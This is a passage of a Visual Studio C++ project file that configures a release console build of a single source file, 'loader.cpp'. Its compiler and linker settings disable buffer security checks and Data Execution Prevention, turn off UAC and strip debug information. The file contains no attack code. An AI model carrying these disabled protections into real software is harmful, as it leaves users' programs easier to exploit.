138 |       <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
139 |       <ConformanceMode>false</ConformanceMode>
140 |       <MinimalRebuild>true</MinimalRebuild>
141 |       <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
142 |       <Optimization>MinSpace</Optimization>
143 |       <BasicRuntimeChecks>Default</BasicRuntimeChecks>
144 |       <BufferSecurityCheck>false</BufferSecurityCheck>
145 |       <DebugInformationFormat>None</DebugInformationFormat>
146 |       <FloatingPointModel>Fast</FloatingPointModel>
147 |       <TreatWChar_tAsBuiltInType>false</TreatWChar_tAsBuiltInType>
148 |       <ExceptionHandling>false</ExceptionHandling>
149 |       <ForceConformanceInForLoopScope>false</ForceConformanceInForLoopScope>
150 |       <UseFullPaths>false</UseFullPaths>
151 |     </ClCompile>
152 |     <Link>
153 |       <SubSystem>Console</SubSystem>
154 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
155 |       <OptimizeReferences>true</OptimizeReferences>
156 |       <GenerateDebugInformation>false</GenerateDebugInformation>
157 |       <AllowIsolation>false</AllowIsolation>
158 |       <EnableUAC>false</EnableUAC>
159 |       <RandomizedBaseAddress>true</RandomizedBaseAddress>
160 |       <DataExecutionPrevention>false</DataExecutionPrevention>
161 |       <LinkTimeCodeGeneration />
162 |     </Link>
163 |   </ItemDefinitionGroup>
164 |   <ItemGroup>
165 |     <ClCompile Include="loader.cpp" />
166 |   </ItemGroup>
167 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
168 |   <ImportGroup Label="ExtensionTargets">
169 |   </ImportGroup>
170 | </Project>


--------------------------------------------------------------------------------